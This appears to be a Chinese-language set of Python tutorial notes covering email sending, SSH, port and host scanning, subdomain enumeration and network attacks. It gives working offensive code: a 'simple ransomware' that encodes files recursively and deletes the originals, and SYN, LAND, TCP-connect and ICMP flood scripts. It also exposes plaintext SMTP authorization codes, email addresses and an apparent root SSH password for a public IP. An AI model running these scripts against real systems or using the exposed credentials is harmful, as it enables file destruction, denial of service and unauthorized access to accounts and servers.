17.Python 其他

13-1 Python 发邮件

13-1-1 发 163 邮箱

## 直接导入内置模块
import smtplib ## smtplib 主要用于处理SMIP协议
# email 模块主要处理邮件的头和正文数据
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

import time

##定义发件人和收件人
sender = 'aini_ai2022@163.com'
receiver = '2847077276@qq.com'

## 构件邮件的主体对象
msg = MIMEMultipart()
msg['Subject'] = 'aini python 邮件测试'
msg['From'] = sender
msg['To'] = receiver
# msg['To'] = '3484425158@qq.com'


body = '''
<h1>这是邮件的正文</h1>
<div style="font-size:30px;color:red;">what are you doing?</div>
<a href="101.132.222.28">这是我的服务器地址，里面有好多游戏，可以进去玩游戏</a>

'''

## 邮件的内容
content = MIMEText(body,'html','utf-8')
## 邮件的主体加到邮件主体对象
msg.attach(content)

## 添加邮件附件
## 文件地址
attachment = MIMEApplication(open('D:/Desktop/艾尼/a.png','rb').read())
## 文件名
filename = 'a.png'
attachment.add_header('Content-Disposition','attachment',filename=filename)
msg.attach(attachment)

## 建立邮件服务器的连接，发送邮件

##实例化SMTP对象
smtpObj = smtplib.SMTP()
smtpObj.connect('smtp.163.com','25')
smtpObj.login(user="aini_ai2022@163.com",password="EEDRNZJTKOBHVECW")
smtpObj.sendmail(sender,receiver,str(msg))
smtpObj.quit()

13-1-2 发 QQ 邮箱

## 直接导入内置模块
import smtplib ## smtplib 主要用于处理SMIP协议
# email 模块主要处理邮件的头和正文数据
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

## ugoyipmhabkwdeih

##定义发件人和收件人
sender = '2847077276@qq.com'
receiver = 'aini_ai2022@163.com'

## 构件邮件的主体对象
msg = MIMEMultipart()
msg['Subject'] = 'aini python 邮件测试'
msg['From'] = sender
msg['To'] = receiver
# msg['To'] = '3484425158@qq.com'


body = '''
<h1>这是邮件的正文</h1>
<div style="font-size:30px;color:red;">what are you doing?</div>
<a href="101.132.222.28">这是我的服务器地址，里面有好多游戏，可以进去玩游戏</a>

'''

## 邮件的内容
content = MIMEText(body,'html','utf-8')
## 邮件的主体加到邮件主体对象
msg.attach(content)

## 添加邮件附件
## 文件地址
attachment = MIMEApplication(open('D:/Desktop/艾尼/a.png','rb').read())
## 文件名
filename = 'a.png'
attachment.add_header('Content-Disposition','attachment',filename=filename)
msg.attach(attachment)

## 建立邮件服务器的连接，发送邮件


## 登录SMTP + SSL 邮件服务器
smtpObj = smtplib.SMTP_SSL('smtp.qq.com',465)
smtpObj.login(user="2847077276@qq.com",password="ugoyipmhabkwdeih")
smtpObj.sendmail(sender,receiver,str(msg))
smtpObj.quit()

13-2 Python 连接 SSH

import  paramiko

host = '101.132.222.28'
port = 22
userName = 'root'
password = 'abdigini123580A'

# ftp 连接方式		可以用于 传输文件使用
transport = paramiko.Transport(sock=(host, port))
transport.connect(username=userName, password=password)
ftp = paramiko.SFTPClient.from_transport(transport)			# 实例
session = transport.open_session()

# ssh 连接方式
ssh = paramiko.SSHClient()
ssh._transport = transport
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=host, username=userName, password=password, port=port)

session.get_pty()
session.invoke_shell()

## 执行命令，获取结果
stdin, stdout, stderr = ssh.exec_command('ifconfig')
res = stdout.read().decode()
print(res)

## 文件上传下载
ftp.put('./aini.jpg','/opt/aini.jpg')

## 下载文件
ftp.get('/opt/aini.jpg','../ai.jpg')

13-3 勒索病毒的简单编写

# 如何使用Python对文件进行编码
# 可以使用base64进行加密，再保存，此时就无法打开此文件，解密的话按字符串进行解密，并重新保存为二进制文件

# 针对某个文件进行base64编码，并保存
import base64
import os

def encrypt(filepath):
	with open(filepath,mode='rb') as f:
		data = f.read()
	source = base64.b64encode(data).decode()
	## 利用加密算法，基于ascii往后移动5位
	dest = ''
	for c in source:
		dest += chr(ord(c) + 5)
	# 将加密字符串保存到文件中
	with open(filepath + '.enc',mode='w') as f1:
		f1.write(dest)
	os.remove(filepath)

# 解密算法
def decrypt(filepath):
	with open(filepath,mode='r') as f:
		data = f.read()
	dest = ''
	for c in data:
		dest += chr(ord(c) - 5)
	# base64解码
	source = base64.b64decode(dest)

	with open(filepath.rstrip('.enc') ,mode='wb') as f1:
		f1.write(source)
	os.remove(filepath)

list = ['png','jpg','pdf','xlsx','docx']
## 处理路径，通过递归遍历目录
def dir_handle(dirname):
	dirs = os.listdir(dirname)
	for item in dirs:
		if os.path.isdir(dirname + '/' + item) == True :
			dir_handle(dirname + '/' + item)
		if item.split('.')[-1] in list:
			encrypt(dirname + '/' +item)
		if item.split('.')[-1] == 'enc':
			decrypt(dirname + '/' +item)


if __name__ == '__main__':
	# encrypt('./aini.jpg')
	# decrypt('./aini.jpg.enc')
	dir_handle('../aini')

13-4 质数的处理

两个质数相乘 61 * 53 = 3233 这个3233只有这两个因子，没有别的因子

给定一个数，求他的乘积因子，并确保一定是质数

# 质数的因子求解
def is_prime(n):
	for i in range(2,n):
		if n % i == 0:
			return False
	return True

## 给定一个数，求他的乘积因子，并确保一定是质数
def prime_pq(n):
	for p in range(1,n):
		for q in range(1,n):
			if p * q == n and is_prime(p) and is_prime(q):
				print(p,q)
				return True

if __name__ == '__main__':
	prime_pq(3233)

优化后的算法

# 质数的因子求解
import math
def is_prime(n):
	loop = int(math.sqrt(n)) + 1
	for i in range(3,loop,2):
		if n % i == 0:
			return False
	return True

## 给定一个数，求他的乘积因子，并确保一定是质数
def prime_pq(n):
	for p in range(1,(n // 2) + 1):
		for q in range(1,(n // 2) + 1):
			if p * q == n :
				if is_prime(p):
					if is_prime(q):
						print(p,q)
						return True

if __name__ == '__main__':
	prime_pq(967381)

13-5 Python 扫描可用端口

## 端口扫描
## 对目标IP进行进行端口扫描，尝试连接IP和端口
# 单线程
import socket
def socket_port(ip):
	for port in range(1,100):
		try:
			s = socket.socket()
			s.settimeout(0.1)
			s.connect((ip,port))
			print(f'端口:-----{port}可用 ----------- yes')
		except socket.timeout:
			pass
		except:
			pass

# 基于多线程进行端口扫描
def socket_port_thread(ip,start):
	for port in range(start,start+50):
		try:
			s = socket.socket()
			s.settimeout(0.01)
			s.connect((ip,port))
			print(f'端口:-----{port}可用 ----------- yes')
		except:
			pass



from threading import Thread
port_list = [22,25,80,443,3306,1521]
if __name__ == "__main__":
	# socket_port('192.168.31.162')
	for i in range(1,10000,50):
		Thread(target=socket_port_thread,args=('192.168.31.160',i)).start()

优化思路，对常用端口进行优先扫描

## 优化思路：对常用端口进行优先扫描
import socket
import time

def socket_port_noramal(ip):
	list = [7,21,22,23,25,53,67,68,69,79,80,81,88,109,110,113,135,137,138,139,143,161,162,179,194,220,389,443,445,465,513,520,546,547,554,563,631,636,991,993,995,1080,1194,1433,1434,1494,1521,1701,1723,1755,1812,1813,1863,3269,3306,3307,3389,3544,4369,5060,5061,5355,5432,5671,5672,6379,7001,8080,8081,8088,8443,8883,8888,9443,9988,15672,50389,61613,61614]
	for port in list:
		try:
			s = socket.socket()
			s.settimeout(0.01)
			s.connect((ip,port))
			print(f'端口:-----{port}可用 ----------- yes')
		except:
			pass

if __name__ == "__main__":
	socket_port_noramal('192.168.31.162')

13-6 用 Python 进行 IP 扫描

6-1 Ping 扫描

## 如果要内网渗透，则必须要知道哪些IP地址是存活的，可访问的
## IP地址工作在IP层，ICMP，ARP协议也存在IP信息
## 先使用ping 命令进行IP探测,不过一旦防火墙禁止ICMP协议，那么也会扫不出来
import socket,threading,os
def ping_ip():
	for i in range(1,255):
		ip = f'192.168.31.{i}'
		res = os.popen(f'ping -n 1 -w 100 {ip}').read()
		if 'TTL=' in res:
			print(f'ip {ip} online')

		## 第二种过滤，直接在命令里过滤
		# res = os.popen(f'ping -n 1 -w 100 {ip} | findstr TTL=').read()
		# if len(res) > 0:
		# 	print(f'ip {ip} online')
ping_ip()

6-2 ARP 协议

6-2-1 单线程

import scapy
from scapy.layers.l2 import ARP
from scapy.sendrecv import sr1

## 设置日志级别，不让错误信息打印出来
import logging
logging.getLogger('scary.runtime').setLevel(logging.ERROR)

def scapy_ip():
	for i in range(1,255):
		ip = f'192.168.31.{i}'
		try:
			pkg = ARP(psrc='192.168.31.17', pdst=ip)
			reply = sr1(pkg, timeout=3, verbose=False)
			print(f'IP {ip} online ----- {reply[ARP].hwsrc} ')
		except:
			pass

if __name__ == '__main__':
	scapy_ip()

6-2-2 多线程

import threading
from scapy.layers.l2 import ARP
from scapy.sendrecv import sr1
import scapy

## 设置日志级别，不让错误信息打印出来
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

def scapy_ip(start):
	for i in range(start,start+20):
		ip = f'192.168.31.{i}'
		try:
			pkg = ARP(psrc='192.168.31.17', pdst=ip)
			reply = sr1(pkg, timeout=3, verbose=False)
			print(f'IP {ip} online ----- {reply[ARP].hwsrc} ')
		except:
			pass

if __name__ == '__main__':
	for i in range(1,255,20):
		threading.Thread(target=scapy_ip,args=(i,)).start()

6-2-3 扫描端口

## 基于半链接，SYN / SYN,ACK / RA等标志位来对端口进行判断
## 如果目标端口开放，则 SYN -> SYN,ACK; 如果目标端口未开放，则SYN -> RA

import threading

from scapy.layers.inet import IP, TCP
from scapy.layers.l2 import ARP
from scapy.sendrecv import sr1
import scapy

## 设置日志级别，不让错误信息打印出来
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

def scapy_port(ip):
	# 通过指定源IP地址，可以进行IP欺骗，进而导致半链接，此列操作也可以用于flags参数定义上
	for port in range(20,100):
		try:
			pkg = IP(src = '192.168.31.17', dst = ip)/TCP(dport=port,flags='S')
			reply = sr1(pkg,timeout=1,verbose=False)
			res = reply[TCP].flags
			if res == 0x12:
				print(f"{port} 开放")
		except:
			pass

scapy_port('192.168.31.162')

13-7 scapy 模拟完整三次握手过程

## 利用scapy 完成三次握手：五元组：源IP，源端口，协议，目标IP，目标，S，SA，A，SEQ，ACK
import random

from scapy.layers.inet import IP, TCP
from scapy.sendrecv import sr1

import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

seq = random.randint(10000,20000)
## 第一次TCP握手过程
pkg_1 = IP(dst='192.168.31.160')/TCP(dport=80,flags='S',seq=seq)
## 第二次TCP握手过程(就是接受相应）
reply = sr1(pkg_1)

## 提取第二次握手的seq和ack值
seq = reply[TCP].ack
ack = reply[TCP].seq + 1

## 第三次握手
pkg_2 = IP(dst='192.168.31.160')/TCP(dport=80,flags='A',seq=seq,ack=ack)
sr1(pkg_2)

13-8 收集子域名

8-1 ping 命令+ 域名字典进行收集

## 基于ping 进行子域名扫描
import os
def ping_domain(P_domain):
	## xxx是二级域名字典
	with open('xxx') as f:
		domain_list = f.readlines()

	for domain in domain_list:
		full_domain = f'{domain.strip()}.{P_domain}'
		result = os.popen(f'ping -n 1 -w 1000 {full_domain}').read()
		if '请求超时' in result or "TTL=" in result:
			print(f'{full_domain} 存在')
		if "找不到主机" not in result:
			print(f'{full_domain} 存在')

8-2 基于 socket 库

import socket
## 基于socket库DNS解析记录实现扫描
def socket_domain(P_domain):
	## 读取域名字典文件
	with open('xxx') as f:
			domain_list = f.readlines()
	for domain in domain_list:
		try:
			full_domain = f'{domain.strip()}.{P_domain}'
			ip = socket.gethostbyname(full_domain)
			## 如果这个域名存在则会返回IP地址,不存在报 socket.gaierror
			print(f"{ip} ------  {full_domain}")
		except socket.gaierror:
			pass
		except:
			pass

13-9 泛洪攻击

13-9-1 基于 TCP 全连接

import socket
from threading import Thread
## 基于TCP三次握手泛洪
def socket_flood():
	while True:
		s = socket.socket()
		s.connect(('192.168.31.162',3306))

if __name__ == '__main__':
	for i in range(500):
		Thread(target=socket_flood).start()

13-9-2 基于 scapy 半连接

def scapy_flood(ip,port):
	while True:
		sport = random.randint(10000,30000)
		pkg = IP(src='192.168.31.17',dst=ip)/TCP(sport=sport,dport=port,flags='S')
		send(pkg, verbose=False)
if __name__ == '__main__':
	for i in range(500):
		Thread(target=scapy_flood,args=('192.168.31.162',3306)).start()

13-9-3 基于 TCP

## 源IP跟目标IP一样
def tcp_land(ip,port):
	while True:
		sport = random.randint(10000,30000)
		pkg = IP(src=ip,dst=ip)/TCP(sport=sport,dport=port,flags='S')
		send(pkg, verbose=False)
if __name__ == '__main__':
	for i in range(500):
		Thread(target=tcp_land,args=('192.168.31.162',3306)).start()

13-9-4 ICMP 泛洪

## ICMP泛洪
def icmp_flood():
	while True:
		payload = 'Hello'
		pkg = IP(dst='192.168.31.160')/ICMP()/payload*200 ## 一次性发200个数据包
        ## pkg = IP(src = "192.168.31.xx',dst='192.168.31.160')/ICMP()/payload*200 一次性发200个数据包
		send(pkg,verbose=False)
if __name__ == '__main__':
	for i in range(500):
		Thread(target=icmp_flood,).start()

13-9-5 ICMP 广播风暴

## ICMP 广播风暴
def icmp_broadcast():
	while True:
		payload = 'hello aini it is me'*100
		pkg = IP(dst='192.168.31.160') / ICMP() / payload*200
		send(pkg, verbose=False)
 if __name__ == '__main__':
	for i in range(500):
		Thread(target=icmp_broadcast,).start()

13-9-6 ping 泛洪(LINUX 可以使用，直接终端进行 ping 泛洪)

ping -i 0.001 -s 2000 192.168.112.188